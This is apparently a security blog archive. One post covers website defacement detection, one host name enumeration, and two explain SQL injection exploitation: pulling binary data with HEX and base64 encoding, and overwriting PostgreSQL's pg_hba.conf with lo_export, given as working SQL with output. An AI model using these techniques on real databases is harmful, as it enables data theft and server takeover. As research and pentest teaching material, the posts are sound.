photo credit: anarchosyn

Table of Contents

1. Website defacement
2. Anomaly detection systems
2.1 Checksum comparison
2.2 Diff comparison
2.3 DOM tree analysis
2.4 Complex algorithms
3. Signature detection
4. Thresholds and worst cases

1. Website defacement

A website defacement is the unauthorized substitution of a web page or a part of it by a system cracker. A defacement is generally meant as a kind of electronic graffiti, although recently it has become a means to spread messages by politically motivated cyber protesters or hacktivists.
This is a very common form of attack that seriously damages the trust and the reputation of a website.
Detecting web page defacements is one of the main services for the security monitoring system.
A lot of time ago I wrote a small & smart application to detect web site defacements in large scale with the ability to monitor a lot (thousands) of websites. This was a test to collect some statistics, so I tried to do it in a short time: I wrote it in a few days.
So I was asking me about what techniques and technologies I can use to get the highest detection rate with the minimum effort.
I choose Ruby, Ruby on Rails for the user interface and Event Machine to speed up the performances.
With only few days of development I can’t struggle with complex algorithms to detect defacements, but I choose some very simple techniques, that after some months of tests, seemed to be very effective. The performance and detection rate of this “poor man” techniques are comparable to some others commercial monitoring systems.
The key feature of the proposed techniques is that it does not require the installation of a component (like an HIDS) or a participation of the site maintainers. It require only the URL of the web site to monitor.
Today I want to share this brainstorming about web site detection techniques.

2. Anomaly detection systems

Anomaly detection refers to detecting patterns in a given data set that do not conform to an established normal behavior. The patterns thus detected are called anomalies and often translate to critical and actionable information in several application domains.
The defacement monitoring application needs to detect a change in a web page and detect if it’s “normal” or it’s an “anomaly”.
To create a set of “normal” a preliminary learning phase builds a profile of the monitored web page, then the web site can be monitored for “anomaly” changes.
The detection of a defacement is based on a dynamic threshold, if the web page changed over this threshold the system treat it as defaced and throw a defacement alert.
This threshold is updated to avoid the obsolescence of his value and the learning set.

2.1 Checksum comparison

The simplest way to detect a change in some text-formatted data, like a HTML page, is to compute and check his checksum with a hash algorithm like MD5 or SHA1.
Only a little change in the monitored web page generate a different checksum, so you can detect a defacement.
This works well for “best of ’90s” web sites which uses only static content, but for today’s web pages with contents that change at every reload this technique is quite obsolete.
For example a web page with a counter or a timers inside changes his content at every reload and the checksum is continually different.
Moreover this type of check cannot observe a threshold based system because it’s a comparison with a true or false result.

2.2 Diff comparison

There are some libraries in python and ruby implementing the widely known unix tool diff, using it we can get the difference between two web pages.
We can use a threshold based system learning the usual difference percentage of a web page and check if a changeset is under the usual threshold.
This is a very fast but very effective technique which works well in most dynamic sites.

2.3 DOM tree analysis

This is a similar strategy to the diff comparison, but is used the DOM tree instead of the plain HTML content for the comparison.
The layout of a website changes, tags and properties, have little changes during time. Using this fact you can build up a threshold based system as above.

2.4 Complex algorithms

You can design a lot of algorithms, or use some of the already known, but this is a very expensive work. I haven’t used any complex logic or algorithm but if you want to follow this way you can find a lot of academic papers about this field.

3. Signature detection

The web pages are examined for pre-configured and predetermined attack patterns known as signatures. Many attacks today have distinct signatures. The collection of these signatures must be constantly updated to mitigate emerging threats. I used the wide database of Zone-h to build a signature set always updated.

4. Thresholds and worst cases

The bigger effort is design the engagement rules and tuning good thresholds.
The percentage of changes in a website can change during time, an evaluation of both anomaly detection and signature detection techniques, using a weighted logic can help to reduce false positives.
You must remember that you need to deal with website restyling, layout changes, widgets and banners that can be removed or added.
As today there are some worst cases that causes false negatives: defacement done via javascript (levaraging on a XSS vulnerability) or via CSS, or partial defacements (do you remember the securityfocus.com defacement?) where only a part, like an image or a banner, of the website changes.

The Ush.it team published the second part of “PHP Filesystem Attack Vectors” paper. Have a nice read here!

photo credit: spdorsey

Table of contents

1. Introduction
2. How BLOB storage works
3. Casting binary data
3.1 MySQL
3.2 PostgreSQL
3.3 SQL Server
4. References

1. Introduction

Exploiting a SQL injection flaw in a web application can give the attacker full control of the remote DBMS. One of the major consequences of exploiting consists in fetching all or part of the data stored in the database.

In several cases, like a web application that stores images on the database, the attacker has to deal with binary data.

Follows some techniques to fetch binary data via a SQL injection flaw.

2. How BLOB storage works

According to Wikipedia a BLOB[1] is:

A binary large object, also known as a blob, is a collection of binary data stored as a single entity in a database management system. Blobs are typically images, audio or other multimedia objects, though sometimes binary executable code is stored as a blob. Database support for blobs is not universal.

Blobs were originally just amorphous chunks of data invented by Jim Starkey at DEC, who describes them as “the thing that ate Cincinnati, Cleveland, or whatever”. Later, Terry McKiever, a marketing person for Apollo felt that it needed to be an acronym and invented the backronym Basic Large Object. Then Informix invented an alternative backronym, Binary Large Object. Today many people believe that blob was originally intended as an acronym for something.

The BLOB data can be stored in the DBMS tables or as usual file system files linked by a pointer in the data table.  The BLOB storage engine  is built with one or a combination of these techniques to get the best performances.

The BLOB storage is handled by the DBMS engine that provides high level SQL statement to the user.

3. Casting Binary data

The idea behind the hack is to cast the BLOB data to another data-type that can be fetched via SQLi. For example: cast a BLOB to a string containing the BLOB encoded in base64, so we can use a string representation of binary object that acts as middleware to fetch data over any type of SQL injection.

As far as I know there are no public automatic SQL injection tools that can fetch binary data from a vulnerable web application.

3.1 MySQL

In MySQL SQL syntax the function HEX()[2] can be used to get the hexadecimal value of one field of any data-type. The function HEX(`foo`) returns a string representation of the hexadecimal value of foo, where foo is a binary large object (BLOB). So we can cast a binary data-type to a string data-type.

For example the following SQL statement returns the hexadecimal value of the binary object stored in the field named blob:

SELECT HEX(`blob`) FROM footable;

Now we can use the hexadecimal BLOB representation to fetch data from binary (BLOB) fields using the standard techniques to fetch data via SQL injection or blind SQL injection.

Using HEX() we can deal a BLOB as a text string and use the common techniques and tools.

Once we have fetched the binary data encoded as hexadecimal, we have to restore the original binary data out of it. We can use the SQL UNHEX() function, that get a hexadecimal string and outputs a BLOB object, a command line utility or a few lines in you favorite programming language can do the trick.

This is the easy way to get a textual representation of BLOB under MySQL, the HEX() function is supported from MySQL 4.1.

4.2 PostgreSQL

PostgreSQL can not store values of more than several thousands bytes within any data-type except large objects, nor can binary data be easily entered within single quotes. Instead, large objects (BLOB) are used to store very large values and binary data.

BLOB permits storage of any operating system file, including images or large text files, directly into the database.

As you can see in the DBMS data-type comparison sheet[3] PostgreSQL stores BLOB data in a data-type called OID that acts like a pointer to the stored object on the file system.

For example using the psql client from command line you can load the file into the database using lo_import(), and retrieve it from the database using lo_export() which works only for local files[4].

postgres=# CREATE TABLE foo (image OID);
CREATE TABLE
postgres=# INSERT INTO foo VALUES (lo_import(‘/tmp/bar.jpg’));
INSERT 0 1

The lo_import() function stores /tmp/bar.jpg into the database. The function call returns an OID that is used to refer the imported large object. This value is stored in foo.image as an integer.

If you want to read the foo.image value the lo_export() function uses the OID value to find the large object stored in the database, then places the exported file into the output file.

Full path names must be used with large objects because the database server runs in a different directory than the psql client. Files are imported and exported by the postgres user, so postgres must have permission to read the file for lo_import() and directory write permission for lo_export().

There are others functions to manage large objects (BLOB) available under PostreSQL[5].

Because large objects uses the local filesystem, users connecting over a network can not use lo_import() or lo_export(). They can, however, use psql’s \lo_import and \lo_export commands.

If we are exploiting a SQL injection in a web application we can’t use the functions lo_import() and lo_export() but we need a way to get the juice data on the vulnerable server.

From PostgreSQL documentation “String Functions and Operators”[6] we catch the function ENCODE(data bytea, type text).

This function encodes binary data to an ASCII-only representation. The supported types are: base64, hex, escape.

Now we have the function to convert a bytea data-type into a base64 or hex string. We need only to convert the BLOB OID in a bytea.

The fastest way to do this is a two step recipe: first get the number of OID that you need and after quering the system table pg_largeobject.

postgres=# SELECT image FROM foo;
image
——-
16387
(1 row)
postgres=# SELECT ENCODE(data, ‘base64′) FROM pg_largeobject WHERE LOID=16387;
encode
——————————————————————————
JVBERi0xLjINJeLjz9MNCjIwOSAwIG9iag08PCANL0xpbmVhcml6ZWQgMSAN
IDYyOCA4NTEgXSANL0wgMjU4NDYxOCANL0UgMTI5NDg1IA0vTiAxNiANL
DWVuZG9iag0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
[snip..]
M2I4MWJkNTdlOTNjNWVmNj5dDT4+DXN0YXJ0eHJlZg0xNzMNJSVFT0YN
(1263 rows)

Now you get your goal and you can fetch a BLOB on PostgreSQL with only two queries.

For further details on PostgreSQL BLOB functions you can refer to “SQLi: Writing files to disk under PostgreSQL”[7].

3.3 SQL Server

SQL Server stores binary data in the following data-types: BINARY, VARBINARY, IMAGE.

You can create a demo table for your test with:

CREATE TABLE dbo.foo
(
image image NULL
)  ON [PRIMARY]
TEXTIMAGE_ON [PRIMARY]
GO

You can insert the file foo.bmp with the following:

INSERT INTO [tempdb].[dbo].[foo]
([image])
SELECT * FROM
OPENROWSET(BULK N’C:\foo.bmp’, SINGLE_BLOB) AS i
GO

The binary data can be converted to a hex string injecting a stored procedure in SQL Server. This is described in Microsoft kb104829[8].

create procedure sp_hexadecimal
@binvalue varbinary(255)
as
declare @charvalue varchar(255)
declare @i int
declare @length int
declare @hexstring char(16)

select @charvalue = ’0x’
select @i = 1
select @length = datalength(@binvalue)
select @hexstring = “0123456789abcdef”

while (@i <= @length)
begin

declare @tempint int
declare @firstint int
declare @secondint int

select @tempint = convert(int, substring(@binvalue,@i,1))
select @firstint = floor(@tempint/16)
select @secondint = @tempint – (@firstint*16)

select @charvalue = @charvalue +
substring(@hexstring, @firstint+1, 1) +
substring(@hexstring, @secondint+1, 1)

select @i = @i + 1

end

select ‘sp_hexadecimal’=@charvalue

3.4 Other DBMS

The same technique can be used in any other DBMS like Oracle, DB2, Informix that have casting functions or BLOB conversion functions.

4. References

[1] http://en.wikipedia.org/wiki/Binary_large_object
[2] http://dev.mysql.com/doc/mysql/en/String_functions.html
[3] http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html
[4] http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html
[5] http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
[6] http://www.postgresql.org/docs/8.1/interactive/functions-string.html
[7] http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
[8] http://support.microsoft.com/kb/104829

photo credit: Hey Paul

Table of Contents

1. Why you need to enumerate
2. Techniques
2.1 DNS enumeration techniques
2.2 Banner grabbing
2.3 SSL/TLS Protocol enumeration techniques
2.4 HTTP Protocol enumeration techniques
2.5 Passive web enumeration techniques
2.6 Active web enumeration techniques

1. Why you need to enumerate

The host name discovery phase is an information gathering act to get a complete and detailed view of target resources and attack points.

During an attack or a penetration test, the attacker needs to known  as much information as possible about the entry points to attack. An entry point can be identified with an IP address, a service port, and some application level information, like the virtual host name in the case of a web server hosting several sites.

2. Techniques

There are several techniques that can be used to discover host names and virtual hosts associated with a IP address.

Some techniques described here are implemented (and the others will be implemented soon) in hostmap, a tool that I wrote to discover virtual hosts and DNS names of a given IP address. As of today, the tool is private (it does not depend on me) but I hope to release it to the public domain soon.

2.1 DNS enumeration techniques

The following enumeration techniques are based on the DNS protocol and are:

• Reverse DNS lookup: Performs a PTR request to get the host name from IP address.

• Name servers record lookup: Get the authoritative name server for the target host.

• Mail exchange record lookup: Get the MX records for the target host domain.

• DNS AXFR zone transfer: The name server that serve the target machine’s domain zone can be prone to a zone transfer attack. This allows an attacker to perform an AXFR DNS request to retrieve all of the DNS records served.

• Host name brute forcing: Using a brute-forcing technique to guess a host name on the enumerated domain that resolve as the target ip address.

2.2 Banner grabbing

The services exposed by the target host can disclose a host name in the response banner. You need to simply telnet in all open ports and wait for a response banner (or negotiate the application protocol). For example this is the response banner of a SMTP server running Postfix:

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 mail.example.lan ESMTP Postfix

As you can see in the response banner you get the host name.

2.3 SSL/TLS Protocol enumeration techniques

The following enumeration techniques are based on the SSL/TLS protocol and is:

• X.509 Certificate: Often the target machine exposes an HTTP over SSL service. A connection is tried to the common HTTP service ports and is tried to negotiate an SSL/TLS connection, if the remote server supply a X.509 certificate the host name is taken from the Common Name (CN) field.

2.4 HTTP Protocol enumeration techniques

• Virtual host brute-forcing: The web server can be brute-forced to guess a website served by the target host.
• Following redirects: It is possible to guess another website served by the target host following redirects (HTTP code 301 and 302).
• With error pages: If you try to get an error page (code 500) sometimes you can get an error page showing a banner with the host name.

2.5 Passive web enumeration techniques

The following enumeration techniques are based on third party web sites and are:

• Search engines: The following search engines can be used and queried using the target IP address:

– Microsoft Live (with the dork “ip:”): [http://search.msn.com]

• GPG/PGP key databases: The following public databases can be used:

– MIT gpg key server: [http://pgp.mit.edu:11371]

• DNS/WHOIS databases: Public whois information databases like RIPE, or DNS snapshot database can be used to passively enumerate host name and track his history.

The following is a partial list of public databases that can be used:

– Domainsdb: [http://www.domainsdb.net/]

– Fbk.de: [http://www.bfk.de/]

– Gigablast: [http://www.gigablast.com]

– Netcraft: [http://searchdns.netcraft.com]

– Robtex: [http://www.robtex.com]

– Tomdns: [http://www.tomdns.net]

– Web hosting: [http://whois.webhosting.info/]

– Web-max: [http://www.web-max.ca]

2.6 Active web enumeration techniques

• Crawling: All published websites can be crawled for links to other sites and checked (if they resolve as the target IP address) to get other sites hosted on the target. This technique is very time consuming.

UPDATE: hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Python. hostmap has been released in may and you can get it at http://hostmap.sourceforge.net/

photo credit: Paul Worthington

Table of Contents

1. Introduction
2. Default configuration
3. COPY Function
3.1 COPY function abusing
4. BLOB functions
4.1 BLOB functions abusing
5. User defined functions
5.1 User defined functions abusing
6. Conclusions
7. References

1. Introduction

The following examples assume access to the database has been achieved through SQL Injection vulnerability in a web application.

Sometimes, against best practice, the application has connected to the database using superuser credentials.

2. Default configuration

In some systems the configuration files of PostgreSQL are owned by the user used to run the PostgreSQL process.

For example in my Ubuntu laptop the PostgreSQL configuration file are owned by postgres by default, as you can see:

$ ls -al /etc/postgresql/8.3/main/
total 44
drwxr-xr-x 2 root     root      4096 2008-05-14 00:20 .
drwxr-xr-x 3 root     root      4096 2008-04-12 15:19 ..
-rw-r--r-- 1 root     root       316 2008-04-12 15:20 environment
-rw-r----- 1 postgres postgres  3845 2008-05-13 23:07 pg_hba.conf
-rw-r----- 1 postgres postgres  1460 2008-04-12 15:20 pg_ident.conf
-rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf
-rw-r--r-- 1 root     root       378 2008-04-12 15:20 start.conf

All the configuration files are owned by postgres user which can write these.

So anyone that can execute a SQL statement that write files to disk can try to overwrite a configuration file and do all evil things.

3. COPY Function

The COPY statement transfers data between PostgreSQL tables and standard file system files.

COPY TO statement copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already).

It can export data as text or PostgreSQL’s own binary format, which contains a header.

Using COPY with a file name instructs the PostgreSQL server to directly read from or write to a file. The file must be accessible to the server and the name must be specified from the viewpoint of the server. When STDIN or STDOUT is specified, data is transmitted via the connection between the client and the server.

In PostgreSQL 8.0 and later the database file locations can be determined querying system table pg_settings:

postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------------
/var/lib/postgresql/8.3/main
(1 row)

3.1 COPY function abusing

The files are accessed under the operating system user privilege that the database runs as and it’s available only to database superusers.

The COPY command does not accept relative paths to prevent the overwriting of a database file, more explanation of this can be found in copy.c source file.

So an attacker can use ~ to write in PostgreSQL home directory and must write files in already known path or a well known directory like /tmp.

The caveat is that the file cannot contain a null byte (0×00) otherwise proceeding bytes will not be written out.

4. BLOB functions

PostgreSQL uses large objects, also called Binary Large Objects, to store very large values and binary data. Large objects permit storage of any operating system file, including images or large text files, directly into the database.

It has provided support for BLOB, also called Large Objects, since version 4.2. From version 7.2 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject.

According to the Database Data Type Comparison Sheet[3] there are two data types used by PostgreSQL to store BLOB:

• BYTEA: used to store small amount of binary data that are stored in the data table

• OID: used to store very large amount of binary data in form of file in the filesystem

4.1 BLOB functions abusing

The file is loaded into the database using lo_import(), and is retrieved from the database using lo_export(). These functions take a path as argument that is the path of file to load or the path where export the data in the BLOB field.

In detail[2] to export a large object into an operating system file, call the lo_export() function, with argument that specifies the operating system name of the file.

Note that the file is written by the client interface library, not by the server. Returns 1 on success, -1 on failure.

Reading PostgreSQL documentation in the BLOB section[1] there is the following:

Files are imported and exported by the postgres user, so postgres must have
permission to read the file for lo_import() and directory write permission for
lo_export().

So this function can write a file to disk and abusing it we can overwrite the PostgreSQL configuration files.

First of all we need to create a temporary table (if your user have right permissions) to store our evil data:

postgres=# CREATE TABLE foo (
postgres(# bar oid,
postgres(# id int4,
postgres(# CONSTRAINT id PRIMARY KEY (id) ) WITHOUT OIDS;
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "id" for table "foo"
CREATE TABLE

The easiest way to load a file is using lo_import() that imports a file from the local file system but if you want to use this you must have a way to store a file on target system.

postgres=# INSERT INTO foo VALUES (lo_import('/tmp/bar.bin'), 1);
INSERT 0 1

Now you can try to abuse of lo_export() to overwrite a PostgreSQL configuration file.

If the web application connects to PostgreSQL using a user with superuser permission you can overwrite any configuration file owned by postgres, here we overwrite pg_hba.conf:

postgres=# SELECT lo_export(bar, '/etc/postgresql/8.3/main/pg_hba.conf') FROM
postgres+# foo WHERE id=1;
lo_export
-----------
1
(1 row)

If the web application runs as a non-superuser user you can get the following error message:

Query failed: ERROR: must be superuser to use server-side lo_export() HINT:
Anyone can use the client-side lo_export() provided by libpq.

If you are exploiting a SQL injection you can’t use lo_import() because it needs to write files in the local system the pg_largeobject table can be queried and updated directly, it’s “data” column is the equivalent to the BLOB data type found in other DBMS and is of type BYTEA.

Remember that when writing BYTEA data all non printable characters must be represented in octal syntax like 00 and the \ must be escaped if you use it inside a string.

For example 00 becomes 0 inside a string.

A trick is to transfer data encoded in hex or base64 and then decode it in the database, but remember that this cause an overhead, for example of 34% of the file size using base64.

Using direct access to pg_largeobject we can transfer an arbitrary file and then exporting it via lo_export().

First of all you must create a new entry in pg_largeobject.

postgres=# SELECT lo_create(-1);
lo_create
----------
24586
(1 row)

And now load your file encoded in base64 (also hex encoding can be used).

postgres=# UPDATE pg_largeobject SET data = (DECODE('YW50YW5p', 'base64'))
postgres+# WHERE LOID = 24586;
UPDATE 1

Your file is loaded in the target DBMS, now you can write it to disk using lo_export().

postgres=# SELECT lo_export(24586, '/etc/postgresql/8.3/main/pg_hba.conf');
lo_export
-----------
1
(1 row)

5. User defined functions

The PostgreSQL functionalities can be extended user-defined functions, data types, triggers, etc[6] written in C or other languages.

By default only superuser can create new functions using language C.

5.1 User defined functions abusing

Using a user-defined function is possible to define function to open, create and write files.

The code is not too short and described by Nico Leidecker[5] and also is the author of pgshell[7], a tool to automatize the exploitation process.

6. Conclusions

Exploiting a SQL injection to write files in to the attacked system disk can be done in three ways but as you can see in the following comparison table you can do it only if the database user is a superuser.

+-------------------------------+-------------+------+
|                               | Super user  | User |
+-------------------------------+-------------+------+
+-------------------------------+-------------+------+
|    Write files with COPY      |    YES      |  NO  |
+-------------------------------+-------------+------+
| Write files with lo_export()  |    YES      |  NO  |
+-------------------------------+-------------+------+
|   Write file via extension    |    YES      |  NO  |
+-------------------------------+-------------+------+

So in the case we aren’t superuser a privilege escalation vulnerability can be user to upload files.
If you achieve the capability to upload files you can overwrite the PostgreSQL configuration files.

7. References

[1] http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html
[2] http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html
[3] http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html
[4] http://www.postgresql.org/docs/8.1/interactive/sql-copy.html
[5] http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf
[6] http://www.postgresql.org/docs/8.3/interactive/server-programming.html
[7] http://www.leidecker.info/projects/pgshell.shtml